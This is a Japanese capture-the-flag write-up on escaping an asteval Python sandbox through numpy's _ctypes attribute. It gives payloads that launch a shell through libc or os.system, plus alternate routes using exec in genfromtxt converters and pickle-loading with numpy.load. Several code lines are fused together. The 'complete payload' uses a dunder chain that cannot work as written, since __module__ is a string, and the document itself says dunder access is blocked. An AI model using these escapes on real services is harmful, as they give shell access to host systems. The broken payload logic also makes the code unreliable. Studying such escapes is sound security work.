UofTCTF 2025 - Don't Sandbox Python 1/2/3
Challenge
asteval モジュールでサンドボックス化された Python 環境。
from asteval import Interpreter
aeval = Interpreter()aeval.symtable['numpy'] = __import__('numpy')
code = input()result = aeval(code)print(result)Solution
numpy._ctypes の発見
numpy の ndarray は _ctypes 属性を持ち、これは ctypes モジュールへの参照を含む。asteval の safe_getattr はこれをフィルタしない:
import numpy as np
arr = np.array([1, 2, 3])ctypes_module = arr._ctypesctypes からのメモリ操作
# ctypes でメモリに直接アクセスctypes = numpy.array([])._ctypes
# libc をロードlibc = ctypes.CDLL(None)
# system を呼び出しlibc.system(b'sh')完全なペイロード
numpy.array([])._ctypes.__class__.__module__.__builtins__['__import__']('os').system('sh')Technical Details
asteval の制限
asteval は安全な Python 評価を目的としたライブラリ:
- 危険な組み込み関数を削除
__で始まる属性へのアクセスを制限- import を禁止
脆弱性: numpy._ctypes
# ndarray._ctypes は _ctypes.PyCData オブジェクト# これは ctypes モジュールへの参照を持つarr._ctypes.__class__.__module__ # 'ctypes'
# さらに __builtins__ にアクセス可能arr._ctypes.__class__.__module__.__builtins__CVE 情報
この脆弱性は UofTCTF 後に報告され:
- asteval GitHub に3つの Security Advisory
- CVE が割り当て
- 修正パッチがリリース
Alternative Solutions
別解1: numpy.genfromtxt
# genfromtxt の converters パラメータを悪用numpy.genfromtxt('/etc/passwd', converters={0: lambda x: exec(x)})別解2: numpy.load
# pickle を含む .npy ファイルをロードnumpy.load('malicious.npy', allow_pickle=True)Related Challenges
- KalmarCTF 2025 - Paper Viper (同様のテクニック)
Flag
uoftctf{...}
References
- UofTCTF 2025 Official
- https://radboudinstituteof.pwning.nl/posts/asteval_post_1/
- asteval GitHub Security Advisories